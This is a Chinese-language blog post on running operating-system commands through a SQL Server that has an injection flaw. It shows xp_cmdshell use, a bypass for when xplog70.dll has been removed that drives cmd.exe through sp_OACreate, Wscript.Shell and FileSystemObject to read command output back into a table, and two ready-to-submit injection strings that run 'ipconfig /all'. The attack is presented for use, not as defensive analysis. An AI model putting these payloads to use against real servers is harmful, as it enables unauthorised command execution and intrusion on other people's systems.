在有注入漏洞的SQL服务器上运行CMD命令

利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句: 

  EXEC master.dbo.xp_cmdshell 'dir c:\' 

  但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。 

  对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程: 

  sp_OACreate,sp_OAGetProperty和sp_OAMethod。 

  前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。 

  sp_OACreate 

  在 SQL Server实例上创建 OLE 对象实例: 

  sp_OACreate progid, clsid, 

  objecttoken OUTPUT 

  [ , context ] 

  sp_OAGetProperty 

  获取 OLE 对象的属性值: 

  sp_OAGetProperty objecttoken, 

  propertyname 

  [, propertyvalue OUTPUT] 

  [, index...] 

  sp_OAMethod 

  调用 OLE 对象的方法: 

  sp_OAMethod objecttoken, 

  methodname 

  [, returnvalue OUTPUT] 

  [ , [ @parametername = ] parameter [ OUTPUT ] 

  [...n]] 

  思路: 

  先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。 

  以下是相应的SQL语句 

  CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL) 

  DECLARE @shell INT 

  DECLARE @fso INT 

  DECLARE @file INT 

  DECLARE @isEnd BIT 

  DECLARE @out VARCHAR(400) 

  EXEC sp_oacreate 'wscript.shell',@shell output 

  EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true' 

  --注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。 

  EXEC sp_oacreate 'scripting.filesystemobject',@fso output 



  EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' 

  --因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌 

  WHILE @shell>0 

  BEGIN 

  EXEC sp_oamethod @file,'Readline',@out out 

  INSERT INTO MYTMP(info) VALUES (@out) 

  EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out 

  IF @isEnd=1 BREAK 

  ELSE CONTINUE 

  END 

  DROP TABLE MYTMP


注入时分别提交一下两条指令:

CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY (1, 1) NOT NULL);--
DECLARE @shell INT;DECLARE @fso INT;DECLARE @file INT;DECLARE @isEnd BIT;DECLARE @out VARCHAR(400);EXEC sp_oacreate 'wscript.shell',@shell output;EXEC sp_oamethod @shell,'run',null,'cmd.exe /c ipconfig /all>C:\WINDOWS\Media\temp.txt','0','true';EXEC sp_oacreate 'scripting.filesystemobject',@fso output;EXEC sp_oamethod @fso,'opentextfile',@file out,'C:\WINDOWS\Media\temp.txt';WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out;INSERT INTO MYTMP(info) VALUES (@out); EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out;IF @isEnd=1 BREAK ELSE CONTINUE END;--


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值